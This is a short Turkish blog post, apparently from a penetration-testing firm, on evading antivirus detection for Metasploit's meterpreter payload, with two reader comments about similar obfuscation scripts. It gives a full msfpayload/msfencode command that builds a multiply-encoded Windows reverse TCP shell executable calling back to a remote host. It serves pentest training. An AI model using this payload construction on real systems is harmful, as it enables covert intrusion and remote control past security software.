Pentest çalışmalarında, hedef sistemi ele geçirdikden sonra yetkisiz işlevleri yerine getirecek bir payload’a ihtiyaç duyulur. Bu bir casus yazılım olabilir (trojan), uzakdan yönetim aracı olabilir (rat) veya hedef sistemde kod/komut çalıştırmanıza olanak sağlayan bir araç (shellcode exec) olabilir.
BGA pentest ekibi, pentest çalışmalarında ve eğitimlerde multi platform çalışan ve gelişmiş özellikleri olan meterpreter payloadını sıklıkla tercih etmektedir.
Antivirus veya sezgisel antilogger’lar bu tür durumlarda işinizi zorlaştırabilir. Bu yazıda, antiviruslerin çalışma prensiblerine kısaca değinilmiş ve meterpreter ajanının antivirusler tarafından tanınmaz hale getirilmesi teorik olarak anlatılmıştır. Burada anlatılan yöntemler, backtrack 5 r2 üzerinde test edilmiştir ve meterpreter için geçerlidir fakat bu mantık benzeri yazılımlar içinde uygulanabilir !
- İmza tabanlı (Signature Based)
- ShellCode Analizi
- Sezgisel (heuristic)
İmza tabanlı (Signature Based)
- Her imza bir zararlının karakteristik özelliklerini barındırır.
- Tespit edilmiş viruslere ait imzaları içerir.
- Hızlı sonuç verir.
- Yeni nesil viruslere karşı savunmasızdır.
- Zararlının tespit edilmesi, veritabanına konulması ve son kullanıcıya ulaşması yeni nesil tehtitler karşısında ciddi zaman kaybı yaşatmakdadır.
Sezgisel (heuristic)
- Zararlıyı, sezgisel ve gerçek zamanlı davranış analizi yaparak tespit etmeye çalışır.
./msfpayload windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4443 EXITFUNC=thread R | ./msfencode -e x86/shikata_ga_nai -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor -c 2 -t exe -o ajan007.exe
2 Yorum
@ozgur_kesim
Merhaba.
Vanish.sh scripini Astr0baby nickli kullanici bir kac once yazmistir. Bu scripti incelerseniz goreceksiniz ki bir kac msfencode iterasyonu ile payloadi olusturup bunu char dizisinde tutarak ufak bir c kodu ile execute etmekte. Bizim gelistirdigimiz ve bu blog yazisinda sadece command line versiyonu tanitilan generater ise AV atlatma teknikgi olarak msfencode un disinda bir cok mantik kullanmakta -kod bazinda- ve extra bir cok ozelligi bulunmakta. Bu nedenle vanish.sh ile kismen benzetebilirsiniz.
orjinal adı vanish.sh olan script degil mı ?